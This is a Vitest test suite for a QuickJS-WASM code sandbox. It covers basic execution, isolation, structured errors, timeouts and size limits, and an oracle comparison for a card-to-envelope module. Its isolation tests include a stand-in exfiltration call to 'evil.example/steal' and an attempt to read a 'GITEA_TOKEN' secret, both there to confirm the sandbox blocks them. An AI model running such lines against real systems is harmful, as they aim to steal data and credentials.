import { describe, it, expect } from 'vitest'; import { readFileSync } from 'node:fs'; import { fileURLToPath } from 'node:url'; import { dirname, join } from 'node:path'; import { runCode, setVariant } from '../sandbox.mjs'; import { planCard } from './fixtures/card-to-envelope.oracle.mjs'; import baseVariant from '@jitl/quickjs-wasmfile-release-sync'; import { newVariant } from 'quickjs-emscripten-core'; const HERE = dirname(fileURLToPath(import.meta.url)); const FIX = join(HERE, 'fixtures'); // 注入與 production(Worker)同一條路徑:wasmfile variant + 預編 WebAssembly.Module。 // Worker 由 wrangler 把 import 的 .wasm 綁成 Module;此處在 Node 由 bytes 建 Module。 const wasmBytes = readFileSync(join(HERE, '..', 'node_modules', '@jitl', 'quickjs-wasmfile-release-sync', 'dist', 'emscripten-module.wasm')); setVariant(newVariant(baseVariant, { wasmModule: new WebAssembly.Module(wasmBytes) })); describe('① 基本 snippet 跑通', () => { it('sum: {return {sum: input.a + input.b}}', async () => { const r = await runCode('return {sum: input.a + input.b};', { a: 2, b: 40 }); expect(r).toEqual({ success: true, data: { sum: 42 } }); }); it('可用純 ECMAScript 內建(Array/JSON/Math/Date)', async () => { const r = await runCode( 'return {mapped: input.xs.map(x=>x*x), max: Math.max(...input.xs), isNum: typeof Date.now()};', { xs: [1, 2, 3] }, ); expect(r.success).toBe(true); expect(r.data.mapped).toEqual([1, 4, 9]); expect(r.data.max).toBe(3); expect(r.data.isNum).toBe('number'); }); }); describe('② 沙箱隔離:無 ambient 能力', () => { it('fetch / process / require / WebAssembly / globalThis.env 皆 undefined', async () => { const r = await runCode(`return { fetch: typeof fetch, process: typeof process, require: typeof require, wasm: typeof WebAssembly, globalThisEnv: typeof (globalThis.env), xhr: typeof XMLHttpRequest, };`, {}); expect(r.success).toBe(true); expect(r.data).toEqual({ fetch: 'undefined', process: 'undefined', require: 'undefined', wasm: 'undefined', globalThisEnv: 'undefined', xhr: 'undefined', }); }); it('嘗試打網路(fetch)→ 被擋、回結構化 error(Worker 不掛)', async () => { const r = await runCode(`return fetch('https://evil.example/steal');`, {}); expect(r.success).toBe(false); expect(r.error).toMatch(/fetch.*is not defined/i); expect(r.error_type).toBe('UserCodeError'); }); it('嘗試讀 env/secret → 讀不到(process undefined)', async () => { const r = await runCode(`return process.env.GITEA_TOKEN;`, {}); expect(r.success).toBe(false); expect(r.error).toMatch(/process.*is not defined/i); }); it('host 端變數不外洩:沙箱是獨立 heap', async () => { const r = await runCode(`return typeof GITEA_TOKEN + '|' + typeof globalThis.GITEA_TOKEN;`, {}); expect(r.success).toBe(true); expect(r.data).toBe('undefined|undefined'); }); }); describe('③ 錯誤處理 → 結構化 {error}', () => { it('user code 拋錯 → success:false + error 訊息', async () => { const r = await runCode(`throw new Error('boom');`, {}); expect(r.success).toBe(false); expect(r.error).toMatch(/boom/); expect(r.error_type).toBe('UserCodeError'); }); it('語法錯誤 → 結構化 error(不炸 host)', async () => { const r = await runCode(`return {;`, {}); expect(r.success).toBe(false); expect(r.error_type).toBe('UserCodeError'); }); }); describe('④ 資源限制', () => { it('timeout:無窮迴圈 → TimeoutError(不掛死 host)', async () => { const r = await runCode(`while(true){}`, {}, { limits: { timeout_ms: 200 } }); expect(r.success).toBe(false); expect(r.error_type).toBe('TimeoutError'); }, 10000); it('輸出過大 → ResourceError', async () => { const r = await runCode(`return 'x'.repeat(input.n);`, { n: 5000 }, { limits: { max_output_bytes: 1000 } }); expect(r.success).toBe(false); expect(r.error_type).toBe('ResourceError'); }); it('code 過大 → ResourceError', async () => { const big = '/*' + 'a'.repeat(3000) + '*/ return 1;'; const r = await runCode(big, {}, { limits: { max_code_bytes: 1000 } }); expect(r.success).toBe(false); expect(r.error_type).toBe('ResourceError'); }); }); describe('⑤ 首個真實案例:card-to-envelope 在 code 零件內跑,產出與原模組一致', () => { const md = readFileSync(join(FIX, 'fixture-card.md'), 'utf8'); const usercode = readFileSync(join(FIX, 'card-to-envelope.usercode.js'), 'utf8'); const relPath = 'system-dev/wiki/cards/notes/沙箱示範卡.md'; const repo = 'Leo/notes'; // 移除時間相依欄位(Date.now())以做穩定 deep-equal const strip = (plan) => { const p = structuredClone(plan); for (const e of p.envelopes) delete e.extractor.extracted_at; return p; }; it('沙箱輸出 === 原始模組 planCard 輸出(entry/nodes/triplets/envelopes 全等)', async () => { const oracle = planCard(md, relPath, repo, {}); const r = await runCode(usercode, { md, relPath, repo, opts: {} }, { limits: { timeout_ms: 3000, max_output_bytes: 4 * 1024 * 1024 }, }); expect(r.success).toBe(true); expect(strip(r.data)).toEqual(strip(oracle)); expect(r.data.entry.page_name).toBe('wikicard:Leo/notes/沙箱示範卡'); expect(r.data.entry.metadata.embed).toBe(true); // 注入的 sha256 builtin 與 node crypto 一致 → content_hash 逐字相同 expect(r.data.entry.metadata.content_hash).toBe(oracle.entry.metadata.content_hash); expect(r.data.envelopes.length).toBeGreaterThanOrEqual(1); }, 15000); });